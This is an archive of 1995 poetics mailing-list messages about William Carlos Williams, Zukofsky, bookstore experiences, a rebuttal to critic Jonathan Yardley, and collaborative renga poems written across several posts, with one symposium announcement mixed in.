Our reading of the literature of the past is continuously refracted through the prism of the present. But it's the necessary business - right in between the sclerosis of the national heritage theme park, on the one hand, and the instantaneous amnesia of MTV culture on the other.

WCW still feels like an outsider to me. I was told recently by someone brought up in Paterson, NJ, that he was never taught Williams in English class, and never heard about him until after he left school.

ain't nobody here but us white chickens
beside the red wheel
barrow
glazed with rain
water
upon which so much
depends

↑ Index

512. Ron Silliman
Koan Bidness
Sat 16 Sep 1995

What is the sound of three lines flapping?

↑ Index

513. CAROLYN L. FORCHE-MATTISON
list poets in the Post
Sat 16 Sep 1995

In this morning's Washington Post, Mark Wallace beautifully rebuts the pompous Jonathan Yardley's attack on poets/writers/teaching/arts money [which appeared in last Sunday's "Outlook" secton, usually reserved for inside-the-beltway blather], and manages also to invoke (among others) Charles Bernstein, Robert Creeley, Susan Howe, and Bernadette Mayer, as well as contribute an astute reality check on the survival strategies of most working artists. If you are out there, Mark, bravo!

--Carolyn Forche

↑ Index

514. Jorge Guitart
Re: this break will or will not not branch
Sat 16 Sep 1995

On Fri, 15 Sep 1995, cris cheek, savage editor, wrote:

> >>>>In the books were dreams and in the dreams were books.
> >>>>And flew through windows, lightning green and fine morning
> [savage edit]
> >>>>demitassed to mean full-bodied wine with alcohol removed
> >>>>by trained leeches from under the rotting elastic, a feast
> >>>>of swirling eddies with beaucoup of labia & confetti
> >>>>starving time's scythe for water, matching colors to go

> >>>crecheward into sweet line drawings clothed to world our
> >>words for water, falling four blocks away, finally, a gulf
> >between perceived and rinsing water, shroud and comforter,
> flogging proud wet stones with patchwork flags making tenement hum
  with "Too late the coloscope" and "Cried the besotted gondry"

↑ Index

515. **Jorge Guitart**
Re: list poets in the Post
Sat 16 Sep 1995

Mark, please post your rebuttal to yardley on the list. Many thanks and warm regards. (Thanks to Carolyn for telling us about it.) Jorge.

On Sat, 16 Sep 1995, CAROLYN L. FORCHE-MATTISON wrote:

> *In this morning's Washington Post, Mark Wallace beautifully rebuts the pompous Jonathan Yardley's attack on poets/writers/teaching/arts money [which appeared in last Sunday's "Outlook" secton, usually reserved for inside-the-beltway blather], and manages also to invoke (among others) Charles Bernstein, Robert Creeley, Susan Howe, and Bernadette Mayer, as well as contribute an astute reality check on the survival strategies of most working artists. If you are out there, Mark, bravo!*
>
> *--Carolyn Forche*

↑ Index

516. **Burt Kimmelman**
Re: you & whose army?
Sat 16 Sep 1995

---

ed, you mean that hd of the three is most relevant (out of the trio: ep, hd, wcw) beccause of her poetics or because she is the least picked over

("And I come after, glenynge here and there.
  And am ful glad if I may fynde an ere
  Of any goodly word that they [other poets] han left.")

bk

↑ Index

517. **Burt Kimmelman**
Re: you & whose army?
Sat 16 Sep 1995

---

ed,

sorry i left it out: the lines are from Chaucer in the Prologue to the Legend of Good Women.

burt

↑ Index

518. **Sheila E. Murphy**
Re: Sheila, Chris & Jorge's Excellent Adventure
Sat 16 Sep 1995

On the 16th, Jorge wrote:
>On Fri, 15 Sep 1995, cris cheek wrote:
>
>> >>AS PROMISED
>> >>
>> >>> >>> >> >In the books were dreams and in the dreams were books.And flew
>> >>> >>
>> >>> >> (...)
>> >>> >>
>> >>> >>> >spending the bulk of closure with sentient scoops
>> >>> >>> that fluke picnic shot out of these worlds we spread been-to
>> >>> >> say that the center cannot hold the nose tackle much longer
>> >>> >than a clam can sleeve out of incarceration baldly
>> >>> go where others fear to operate the biggest donors hive
>> >>> & where Mars collides with the small world of "It's a small world"
>> >ripe for macroscopes to pump or slice or butterfly away
>> from that ardent bugged heliotrope and pledge allegiance through
> ostension--we stopped short of the shortstop stigmata
this time pencilled in as tangly wisps instead of memory

↑ Index

519. **Herb Levy**
Re: Zukofsky: On Shakespeare
Sat 16 Sep 1995

Blair Seagram asks:

> *A question. I believe Zukofsky wrote something about Shakespeare. A critical essay or perhaps a book. Does anyone have the title and/or know anything about it?*

Louis Zukofsky's book "Bottom: On Shakespeare" was reissued by U of Cal Press a few years ago, I think this edition is still in print.

This edition reissues only volume one of the original text. Volume two was Celia Zukofsky's musical setting of Shakespeare's play "Pericles, Prince of Tyre." LZ writes somewhere that CZ's rhythmic notation of Shakespeare's text in this setting makes clear the ideas about Shakespeare he was writing about. But then LZ also wrote that this dense and entertaining book could be reduced to the logical formula <love is to reason as eyes are to mind>. There's a lot more there, regardless of how relevant it is to these thesis.

In any case, even those of us who read music might quibble about the discursive quality of CZ's music here. It isn't clear to me, at least, how to get LZ's ideas about Shakespeare, Aristotle, Spinoza, & Wittgenstein from CZ's use of, say, dotted quarter notes.

That said, CZ's music seems to be pretty. As far as I know the setting was never performed.

Herb Levy
[redacted]

↑ Index

520. Loss Glazier
Reading in S.F.
Sat 16 Sep 1995

Announcement:

R E A D I N G

Loss Pequen~o Glazier reading in S.F. with Steven Shaviro on Saturday, Oct. 21, 8 pm at New Langton Arts, 1246 Folsom Street. Also I will be doing a discussion on the ELECTRONIC POETRY CENTER and Shaviro will be presenting on his online _Doom Patrols_.

Sponsored by Small Press
Traffic/Small Press Partner
Series with many thanks to

Dodie Bellamy!

↑ Index

521. Blair Seagram

Ranting on St Marks

Sat 16 Sep 1995

For some time now I have wanted to buy a book by Zukofsky who I first heard of on this list. A friend suggested St Marks as the best bookstore to find him in. I called them up and was told they had a large selection. Fine I said to myself, I'll go over there later tonight and spend some time browsing.

I go to St Marks occasionally. Not enough to remember where everything is located. However I found the poetry section and then I found the end of the poetry section, where the X, Y's and Z's are. It runs into poetry anthologies I believe. No Zukofsky from what I could see. So I asked the grey-haired bearded man at the desk where I could find Zukofsky. "In the poetry section," he growled. I tried again. Then I walked to the front of the store to see if someone at the front desk could help me. No, it appeared that guy was engaged in ringing up purchases.

So I said to myself fuck it, that guy should do his bloody job and help me. I went to the desk again. I asked the bearded grouch in a polite voice if he wouldn't mind checking his computer to see if any Zukofsky was in stock.

"Oh, for Christ sake," he said as he got violently up from his desk and marched to the poetry section two feet away, "Just check the rack." Which he did. Then he said, "We're out of stock." Which is what I thought but wanted to be sure I hadn't missed anything. "When will you have him back in stock?" I asked. "Not for a long time," he said.

At which point I had had enough, "When I called this afternoon I was told you had all of Zukofsky on the shelves."

"We never carry all of Zukofsky," he said.

"Well!" I shrugged, threw up my hands and walked out in a silent rage.

On the way home I stopped in at the Barnes and Noble in my neighborhood and picked up a copy of "A". No stress and no bad vibes. Simple, easy, polite.

Maybe the grey-haired bearded guy was having a hard day's night, I don't know. But he put me off entirely. His attitude was rude, angry, ugly and degrading.

Rather than compare St Marks to Barnes and Noble which is unfair because they are in two different leagues, let me compare St Marks, with say, The

Gotham Book Mart. Now here is a bookstore that has never been anything but polite, helpful and friendly to me. It is a bookstore I have used far more than St Marks and will continue to do so. It has a literary history that blows St Marks right off the map, with manners and sophistication to boot. Never mind that things are slightly jumbled and out of order. Chalk it up to charm.

By the way,from the little I read last night Zukofsky is engaging, and I am sure that is the least of it.

A question. I believe Zukofsky wrote something about Shakespeare. A critical essay or perhaps a book. Does anyone have the title and/or know anything about it?

Take care

Blair

↑ Index

522. **Jorge Guitart**

Re: Sheila, Chris & Jorge's Excellent Adventure

Sat 16 Sep 1995

SEM-CC-JG BRANCH 9/16/95

in the books were dreams and in the dreams were
books.And flew > >> >>> >>
> >> >>> >> (...)
> >> >>> >>
> >> >>> >>> >spending the bulk of closure with sentient scoops
> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
> >> >>> >> say that the center cannot hold the nose tackle much longer
> >> >>> >than a clam can sleeve out of incarceration baldly
> >> >>> go where others fear to operate the biggest donors hive
> >> >>> & where Mars collides with the small world of "It's a small world"
> >> >ripe for macroscopes to pump or slice or butterfly away
> >> from that ardent bugged heliotrope and pledge allegiance through
> > ostension--we stopped short of the shortstop stigmata
> this time pencilled in as tangly wisps instead of memory
  detonations: but don't forget to dismember the doloroso

↑ Index

523. **cris cheek**
Re: Sheila, Chris & Jorge's Excellent Adventure
Sat 16 Sep 1995

>SEM-CC-JG BRANCH 9/16/95
>
>in the books were dreams and in the dreams were
>books.And flew > >> >>> >>
>> >> >>> >> (...)
>> >> >>> >>
>> >> >>> >>> >spending the bulk of closure with sentient scoops
>> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
>> >> >>> >> say that the center cannot hold the nose tackle much longer
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>> >> from that ardent bugged heliotrope and pledge allegiance through
>> > ostension--we stopped short of the shortstop stigmata
>> this time pencilled in as tangly wisps instead of memory
> detonations: but don't forget to dismember the doloroso
I left in the rain by mistake whilst on business vocation

↑ Index

524. **cris cheek**
Re: this break will or will not not branch
Sat 16 Sep 1995

>On Fri, 15 Sep 1995, jorge guitart, the savage seconder, wrote:
>
>> >>>>In the books were dreams and in the dreams were books.
>> >>>>And flew through windows, lightning green and fine morning
>> [savage edit]
>> >>>>demitassed to mean full-bodied wine with alcohol removed
>> >>>>by trained leeches from under the rotting elastic, a feast
>> >>>>of swirling eddies with beaucoup of labia & confetti
>> >>>>starving time's scythe for water, matching colors to go
>> >>>crecheward into sweet line drawings clothed to world our
>> >>words for water, falling four blocks away, finally, a gulf
>> >between perceived and rinsing water, shroud and comforter,
>> flogging proud wet stones with patchwork flags making tenement hum
> with "Too late the coloscope" and "Cried the besotted gondry"
fishing around with like with like and let it get too cold, "Hey,

↑ Index

525. **beard**
Re: Ranting on St Marks
Sat 16 Sep 1995

> *For some time now I have wanted to buy a book by Zukofsky who I first heard of on this list. A friend suggested St Marks as the best bookstore to find him in. I called them up and was told they had a large selection.*

Nice to have a bookshop that's even _heard_ of Zukofsky!

Tom Beard.

↑ Index

526. **Jorge Guitart**
Re: Sheila, Chris & Jorge's Excellent Adventure
Sat 16 Sep 1995

> >SEM-CC-JG BRANCH 9/16/95 J adding to C
in the books were dreams and in the dreams were books.And flew
spending the bulk of closure with sentient scoops
that fluke picnic shot out of these worlds we spread been-to
say that the center cannot hold the nose tackle much longer
than a clam can sleeve out of incarceration baldly
go where others fear to operate the biggest donors hive
& where Mars collides with the small world of "It's a small world"
ripe for macroscopes to pump or slice or butterfly away
from that ardent bugged heliotrope and pledge allegiance through
ostension--we stopped short of the shortstop's stigmata
this time pencilled in as tangly wisps instead of memory
detonations: but don't forget to dismember the doloroso
I left in the rain by mistake whilst on business vocation
the night I told you to stop referring to me as Ontology Boy

↑ Index

527. **Jorge Guitart**
Re: this break will or will not not branch
Sat 16 Sep 1995

Chris Cheek, the Noble Savage, wrote

> >> >>>>In the books were dreams and in the dreams were books.
> >> >>>>And flew through windows, lightning green and fine morning
> >> [savage edit]

> >> >>>>demitassed to mean full-bodied wine with alcohol removed
> >> >>>>by trained leeches from under the rotting elastic, a feast
> >> >>>>of swirling eddies with beaucoup of labia & confetti
> >> >>>>starving time's scythe for water, matching colors to go
> >> >>>crecheward into sweet line drawings clothed to world our
> >> >>words for water, falling four blocks away, finally, a gulf
> >> >between perceived and rinsing water, shroud and comforter,
> >> flogging proud wet stones with patchwork flags making tenement hum
> > with "Too late the coloscope" and "Cried the besotted gondry"
> fishing around with like with like and let it get too cold, "Hey,
  tell us apart" "Don't be saussure, tracy". "The name is trace, pal"

↑ Index

528. **Aldon L. Nielsen**
Re: The Mark of Yardbird
Sun 17 Sep 1995

Mark -- can I get xerox of your _Post_ post & Yardley excresence? If you don't have copies, give me dates so I can look up in library --

You may not recall ten years back when Yardley wrote a columnular whatsit advocating the end of all poetry reviewing in the _Post_ (which never amounted to much in any event)

↑ Index

529. **Tenney Nathanson**
St. Marks (RIP?)
Sun 17 Sep 1995

> *Date: Sat, 16 Sep 1995 09:46:16 -0800*
> *From: Blair Seagram <[redacted]>*
> *Subject: Ranting on St Marks*
>
> *For some time now I have wanted to buy a book by Zukofsky who I first heard of on this list. A friend suggested St Marks as the best bookstore to find him in. I called them up and was told they had a large selection. Fine I said to myself, I'll go over there later tonight and spend some time browsing.....*

too bad about St. Marks. There was a period in the eighties when it was just amazing: small stock, but nothing you didn't want to buy & read; lots of stuff not available or not prominently displayed in much bigger bookstores.

MIght be worth one more try before writing off. Actually I always found Gotham kind of fustian and annoying....

↑ Index

530. **Louis Cabri**
be advised: wcw qtd in this renga
Sun 17 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum
Everything leans on the verb, falling, sighs

↑ Index

531. **George Bowering**
Re: be advised: wcw qtd in this renga
Sun 17 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum
Everything leans on the verb, falling, sighs
Twelve at least, one loves only firm, and firm

↑ Index

532. **George Bowering**
Re: Zuk
Sun 17 Sep 1995

Blair: you must mean the monumental _Bottom: on Shakespeare_. It dribbled out in the Fifties. He wrote it from 1947 to 1960.

↑ Index

533. **George Bowering**
Re: WCW and whose army
Sun 17 Sep 1995

When I visited The Cloisters I asked the young woman behind the desk why they didnt have copies of _Paterson V_ for sale. She said what was that. I said a poem by William Carlos Williams, which causes people such as myself, from the oppositer coast, to visit The Cloisters. He's your great poet, I said. Never heard of him, she said. She shda been working at St Mark's.

↑ Index

534. **George Bowering**
Re: your mail
Sun 17 Sep 1995

Oh my God! Are people still reading HD's _Trilogy_?

↑ Index

535. **George Bowering**
Re: Renga permissions
Sun 17 Sep 1995

On May 11, 1995, at the Shenanigans pub, George Stanley said to me: "If that BuffNet is such hot stuff, why dont you see whether you can get them to compose a renga or two?"

↑ Index

536. **H. T. KIRBY-SMITH**
Jonathan Yardley
Sun 17 Sep 1995

When I first moved here, Jonathan Yardley was book-page editor for what was then the Greensboro Daily News. He admitted repeatedly that he simply could not read and did not understand poetry. In other respects he was too intelligent and liberal-minded for some of his readers.

Jon was especially enthusiastic about sports books. I once had a bad dream in which he asked me to review a three volume autobiography of Joe Garigiola, whose name I cannot spell, handing me a heavy volume titled THE EARLY YEARS.

I am afraid that he has felt put down for years by refined literary types and feels that poetry is almost pure pretense. I am afraid not much can be done about it. When McDonald's serves quiche maybe Yardley will like poetry.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

537. **Jorge Guitart**
Re: be advised: wcw qtd in this renga
Sun 17 Sep 1995

On Sun, 17 Sep 1995, Louis Cabri wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*
> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Paterson lies to her in Passaic about the plums*

↑ Index

538. **Jorge Guitart**
Re: be advised: wcw qtd in this renga
Sun 17 Sep 1995

On Sun, 17 Sep 1995, George Bowering wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*
> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*
> *feels good to her it feels real good, & the corset*

↑ Index

539. **Brian McHale**
Re: Zukofsky: On Shakespeare
Sun 17 Sep 1995

An addendum to Herb Levy's information on Zukofsky's "Bottom: On Shakespeare": The California edition he mentions was being offered by the Scholar's Book- shelf, the mail-order remainder house, very cheap, last year, & it may still be available from them. (I bought one.)
Brian McHale

↑ Index

540. **Steve Carll**
Re: Renga permissions
Sun 17 Sep 1995

George Bowering writes:

> *On May 11, 1995, at the Shenanigans pub, George Stanley said to me: "If that BuffNet is such hot stuff, why dont you see whether you can get them to compose a renga or two?"*

Hey, after the responsible parties get those babies archived and ready for browsing, let's see if we can lose George in them. Bet we can...

Steve

↑ Index

541. **Charles Smith**
Re: LZ & bookshop vagaries
Sun 17 Sep 1995

Sad to say, but the only store here in Sacramento to carry any LZ is Barnes & Noble; they've had _A_ on the shelf for almost a year. They're also the only store here to have carried Susan Howe's _Non-Conformist's Memorial_ & Michael Palmer's _At Passages_. Hate to support 'em, but . . .
Sobin's _Breath Burials_ & Joris' Celan translations weren't to be found anywhere in Sac or Berkeley (Cody's does stock the Talisman _Selected_) & I had to special order them (just came in yesterday). What gives?

↑ Index

542. **David Kellogg**
Re: The Mark of Yardbird
Sun 17 Sep 1995

I would like to see a copy on the list, too.

Cheers,
David
~~~
~~~

symposiums of the society focus on a main theme and include lecture sessions as well as activities devoted to the study, discussion, and illumination of pieces of ephemera as material culture. The society will hold its 1995 symposium in historical Colonial Williamsburg, in Virginia, with the theme ``Job Printing in America''. Speakers from organization such as the American Antiquarian Society, Library Company of Philadelphia, Yale University, and Colonial Williamsburg will speak on topics ranging from pre-1800 Virginia Ephemera, Benjamin Franklin's job printing, chromolithography and the cigar label, and architectural vignettes on commercial stationary. The event will feature a special torch-lit reception at Colonial Williamsburg's eighteenth-century Printing Office by the tradesmen who have dedicated their lives to the accurate recreation of the book arts trades of colonial America. A demonstration of papermaking, hand-press operation, bookbinding and gold tooling, and the production of decorative papers will be held and symposium attendees will have the opportunity to try some of these activities first hand.

***** URGENT: Please respond by September 19th!! *****

Registration fee: $150 ($250 for couples). This includes a year-long pass to all of Colonial Williamsburg's many museums, programs, and demonstrations, six formal lectures, tours of the CW library and other historic sites of interest, and a banquet dinner at the Williamsburg Woodlands hotel. For more information, sent email to [redacted], or call [redacted].

Brett Charbeneau, Journeyman Printer P.O. Box 1776-GHW Williamsburg Imprints Program Williamsburg, VA 23187 Colonial Williamsburg Foundation Tel: [redacted] INTERNET: [redacted] FAX: [redacted]

↑ Index

544. **George Bowering**

Re: be advised: wcw qtd in this renga

Sun 17 Sep 1995

> *On Sun, 17 Sep 1995, George Bowering wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*

> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*
> *feels good to her it feels real good, & the corset*
> *was the coarsest in Dorset, the coast sky lowering*

↑ Index

545. **Sheila E. Murphy**
Re: Sheila, Chris & Jorge's Excellent Adventure
Sun 17 Sep 1995

>SEM-CC-JG BRANCH 9/16/95
>
>in the books were dreams and in the dreams were
>books.And flew > >> >>> >>
>> >> >>> >> (...)
>> >> >>> >>
>> >> >>> >>> >spending the bulk of closure with sentient scoops
>> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
>> >> >>> >> say that the center cannot hold the nose tackle much longer
>> >> >>> >than a clam can sleeve out of incarceration baldly
>> >> >>> go where others fear to operate the biggest donors hive
>> >> >>> & where Mars collides with the small world of "It's a small world"
>> >> >ripe for macroscopes to pump or slice or butterfly away
>> >> from that ardent bugged heliotrope and pledge allegiance through
>> > ostension--we stopped short of the shortstop stigmata
>> this time pencilled in as tangly wisps instead of memory
> detonations: but don't forget to dismember the doloroso
pitchpipe with its squeal subtracted and the dotted-line relationships

↑ Index

546. **Sheila E. Murphy**
Re: Sheila, Chris & Jorge's Excellent Adventure
Sun 17 Sep 1995

>>SEM-CC-JG BRANCH 9/16/95
>>
>>in the books were dreams and in the dreams were
>>books.And flew > >> >>> >>
>>> >> >>> >> (...)
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to
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>>> >> from that ardent bugged heliotrope and pledge allegiance through
>>> > ostension--we stopped short of the shortstop stigmata
>>> this time pencilled in as tangly wisps instead of memory
>> detonations: but don't forget to dismember the doloroso
>I left in the rain by mistake whilst on business vocation
hollering newmown platitudes to headsets painted blue and waffle colored

↑ Index

547. Sheila E. Murphy

Re: Sheila, Chris & Jorge's Excellent Adventure

Sun 17 Sep 1995

>> >SEM-CC-JG BRANCH 9/16/95 J adding to C
>in the books were dreams and in the dreams were books.And flew
>spending the bulk of closure with sentient scoops
>that fluke picnic shot out of these worlds we spread been-to
>say that the center cannot hold the nose tackle much longer
>than a clam can sleeve out of incarceration baldly
>go where others fear to operate the biggest donors hive
>& where Mars collides with the small world of "It's a small world"
>ripe for macroscopes to pump or slice or butterfly away
>from that ardent bugged heliotrope and pledge allegiance through
>ostension--we stopped short of the shortstop's stigmata
>this time pencilled in as tangly wisps instead of memory
>detonations: but don't forget to dismember the doloroso
>I left in the rain by mistake whilst on business vocation
>the night I told you to stop referring to me as Ontology Boy
and you replied all shrouded in epistemology that it was glue we lacked

↑ Index

548. **George Bowering**
Re: Jonathan Yardley
Sun 17 Sep 1995

Hey, in Vancouver, McDonald's DOES serve quiche. And you can get little action figures of poets. This week you can get Bruce Andrews, Norma Cole, Steve Mccaffery and Aram Saroyan.

↑ Index

549. **Sheila E. Murphy**
Re: be advised: wcw qtd in this renga
Sun 17 Sep 1995

>On Sun, 17 Sep 1995, George Bowering wrote:
>
>> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
>> Go endlessly, an obtuse Prussian blue, it binds
>> The rook to the knight here by King's Bishop Three
>> Something has changed in the nature of friendship
>> But wouldn't you know it, Mrs. Mullett next in line
>> For food stamps, quints racing about the linoleum
>> Everything leans on the verb, falling, sighs
>> Twelve at least, one loves only firm, and firm
>> feels good to her it feels real good, & the corset
blanches from so many passwords being lifted like expected bans

↑ Index

550. **Steve Carll**
Re: LZ & bookshop vagaries
Sun 17 Sep 1995

Charles Smith muses:

> *Sad to say, but the only store here in Sacramento to carry any LZ is Barnes & Noble; they've had _A_ on the shelf for almost a year. They're also the only store here to have carried Susan Howe's _Non-Conformist's Memorial_ & Michael Palmer's _At Passages_. Hate to support 'em, but . . .*
> *Sobin's _Breath*
> *Burials_ & Joris' Celan translations weren't to be found anywhere in Sac or Berkeley (Cody's does stock the Talisman _Selected_) & I had to special order them (just came in yesterday). What gives?*

Bookstores are just as chickenshit as commercial radio stations, that's what. They won't carry anything unless someone can guarantee them X amount of sales, and they won't take any chances without that guarantee. Poetry, of all types but always especially that poetry considered "avant-garde" or "experimental", has proven remarkably ineffective as a consumer good, since you can't just consume it and move on (you have to live and grow with it), so it doesn't fit well into the marketing schema. Look for this trend to get worse over the next few years, as wealth further concentrates in the hands of fewer and fewer and bigger and bigger corporations.

btw, I got my Joris Celan translation at City Lights, but even that store doesn't seem to be as good as it used to be.

Steve

↑ Index

551. Bill Luoma
Re: Benson address
Sun 17 Sep 1995

Tony,

I don't have Benson's address but someone on this list must. I will go to the ear but have not put hours of work in. Jeff Hull did the schedule which I forwarded to the list. You can email him at:

[redacted]

Bill Luoma

↑ Index

552. Blair Seagram
finding Zukofsky
Mon 18 Sep 1995

On Saturday 16 September Tom Beard wrote:

Nice to have a bookshop that's even _heard_ of Zukofsky!

Yes Tom, I guess it is good to have a bookstore who has heard of Zukofsky.

It's also fine to be part of a list that discusses him. And I thank Herb Levy for his most informative post.

I wonder how many other bookstores in New York carry Zukofsky? We know Barnes & Noble does.

Perhaps if I had worded my inquiry at St Marks something along the lines, "I called this afternoon and was told you had a selection of Zukofsky in stock, but I can't seem to find him in the poetry section under Z," the whole incident would have proceeded rather differently.

↑ Index

553. **Thomas Bell**
Re: spike it with saussure - begins the intramix...
Mon 18 Sep 1995

---

oN Sep 15 Jorge Guitart wrote:

On Thu, 14 Sep 1995, Thomas Bell wrote:

> >In the books were dreams and in the dreams were books.
> incorporating the end of timewarps and troves treasured
> the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes

↑ Index

554. **Tenney Nathanson**
milk
Mon 18 Sep 1995

Date: Sun, 17 Sep 1995 18:02:24 -0700
From: George Bowering <[redacted]>
Subject: Re: Jonathan Yardley

Hey, in Vancouver, McDonald's DOES serve quiche. And you can get little action figures of poets. This week you can get Bruce Andrews, Norma Cole, Steve Mccaffery and Aram Saroyan.

In 1983, when I went to Rochester to teach for a year (but place is obliterated) I went into a McDonald's, this was along about when one heard that the shakes were 100% plastic, and the placemat on the tray tole me the shakes were "made w real milk." Only Real was capitalized & had a TM sign appended to it.

↑ Index

555. **Ron Silliman**
Bruce Andrews Barbie Doll
Mon 18 Sep 1995

You wrote:
>
>Hey, in Vancouver, McDonald's DOES serve quiche. And you can get

>little action figures of poets. This week you can get Bruce Andrews,
>Norma Cole, Steve Mccaffery and Aram Saroyan.
>
One can only envision (in horror) what a Bruce Andrews action toy would DO...

↑ Index

556. **cris cheek**
Benson address
Mon 18 Sep 1995

Sorry, trashed the name of the searcher:

Steve Benson
507 Coteskill Road
Stone Ridge
NY 12484

don't know how long it'll take to reach you. There does seem to be a protracted time lag much of the time.

love and love
cris

↑ Index

557. **cris cheek**
Re: Sheila, Cris & Jorge's Excellent Adventure
Mon 18 Sep 1995

>>> >SEM-CC-JG BRANCH 18/9/95 C adding to S
>>in the books were dreams and in the dreams were books.And flew
>>spending the bulk of closure with sentient scoops
>>that fluke picnic shot out of these worlds we spread been-to
>>say that the center cannot hold the nose tackle much longer
>>than a clam can sleeve out of incarceration baldly
>>go where others fear to operate the biggest donors hive
>>& where Mars collides with the small world of "It's a small world"
>>ripe for macroscopes to pump or slice or butterfly away
>>from that ardent bugged heliotrope and pledge allegiance through
>>ostension--we stopped short of the shortstop's stigmata
>>this time pencilled in as tangly wisps instead of memory
>>detonations: but don't forget to dismember the doloroso
>>I left in the rain by mistake whilst on business vocation
>>the night I told you to stop referring to me as Ontology Boy

>and you replied all shrouded in epistemology that it was glue we lacked
"ckab oups frert cdl-fdl!!" with elvis projecting "uhhhh, I'm all stuck

↑ Index

558. **Mark Wallace**
jonathan yardley
Mon 18 Sep 1995

I appreciate the interest several of you have taken on the list, or backchannel, on my letter rebutting Jonathan Yardley. Regarding Jorge's request to post the letter, the letter itself does not provide that much information that an audience like this on the poetics list needs--the points it makes would be for you all pretty much obvious.

I will say this: Yardley's argument is threefold; there are no good writers of literature in the U.S. right now. This is true because writers have no interest in audiences. They have no interest in audiences because their large academic salaries and huge arts subsidies make them self-indulgent.

It is, of course, an argument typical of the desire to undermine arts funding here in D.C.

The last paragraph of my letter reads as follows:

The problem with Yardley is that he ignores literary culture on the one hand and attacks it on the other. He is thus a perfect example of the isolated, institutionalized writer he pretends to disdain, responsible to a paycheck that comes not from any audience but from a powerful media conglomerate. He is a critic who attacks what he doesn't understand.

Thanks again to Carolyn, Jorge and others for their interest.

mark wallace

↑ Index

559. **Herb Levy**
Re: hearing Zukofsky
Mon 18 Sep 1995

In the course of some back channel correspondence with Blair Seagram re: Zukofsky I remembered hearing about multi-voice performances of "A"-24 with the Handel music either in San Francisco or Vancouver (or both).

Does anyone have corroborating information about this? If the performance(s) did occur, were they taped?

&, yes, I remember my earlier posts regarding non-commercial recordings, etc.

Bests

Herb Levy
[redacted]

↑ Index

560. Hank Lazer
Re: hearing Zukofsky
Mon 18 Sep 1995

As a follow up to Herb's request for info--anyone know of audio or video recordings of Zukofsky? How I might listen/watch? I'll be teaching Zukofsky later this semester & would like to share his reading of some poems with the class. Thanks.

Hank Lazer

↑ Index

561. Bill Luoma
Re: Bruce Andrews Barbie Doll
Mon 18 Sep 1995

> *One can only envision (in horror) what a Bruce Andrews action toy would DO...*

A Bruce Andrews action toy would of course come with a detachable ordnance harnessing mass linguistic destruction capability unit.

↑ Index

562. David Golumbia
Re: finding Zukofsky
Mon 18 Sep 1995

St. Marks used to be better than it is. Gotham's more than a bit hostile to L. poetry, except as it relates to Black Mountain, etc. schools (seems to me).

But on the plus side, the Upper West Side Shakespeare & Co. actually had (has?) the Joris Celan *on display*!

And on a trip to Philadelphia a couple of days ago, Borders had: two Coolidge, three Hejinian (I picked up THE CELL, which I find perfect), one each of Raworth, Perelman, S. Howe, R. Waldrop, Jabes, etc. Admittedly all Sun & Moon (but for the Perelman?), but still very nice. Although their journal selection's gone down, whereas the Upper West Side Papyrus had not only DENVER QUARTERLY & NEW AMERICAN WRITING but also LINGO & the Watten issue of AERIAL.

So while it could be better, it seems to me, it could also be a LOT
worse ...
--
[redacted]
David Golumbia

↑ Index

563. Graham John Sharpe
Pergolesi
Mon 18 Sep 1995

---

while the music chatter which has been on the list has generally concerned itself with Hole and other fine artists, i thot there might be a classical enthusiast out there who can help me place Pergolesi. After seeing Baryshnikov's *White Oak Dance Project* the other night i'm desperate to know if one would consider Pergolesi to be Baroque. i suppose it depends on how you define Baroque. Deleuze calls Baroque music "what can extract harmony from melody" but having taken drama class over music class in my early years, this is lost on me.

any takers?
cause my Amadeus Soundtrack booklet
doesnt help me much.

unmusically yours,

g-sharpe

↑ Index

564. Edward Foster
Re: you & why an army?
Mon 18 Sep 1995

---

charles: i'm not sure that "postmodern pastiche of time" has the interest/use it did a few years ago, but that's another issue. as to the other: reading wcw (or keats) is not out of the question; but wcw is like trolley cars: a different world.

↑ Index

565. Edward Foster
Re: you & whose army?
Mon 18 Sep 1995

---

there wasn't enough, herb, it was a glaze.

↑ Index

566. **Edward Foster**
Re: you & an army of mixed metaphors and forgotten half-truths...
Mon 18 Sep 1995

---

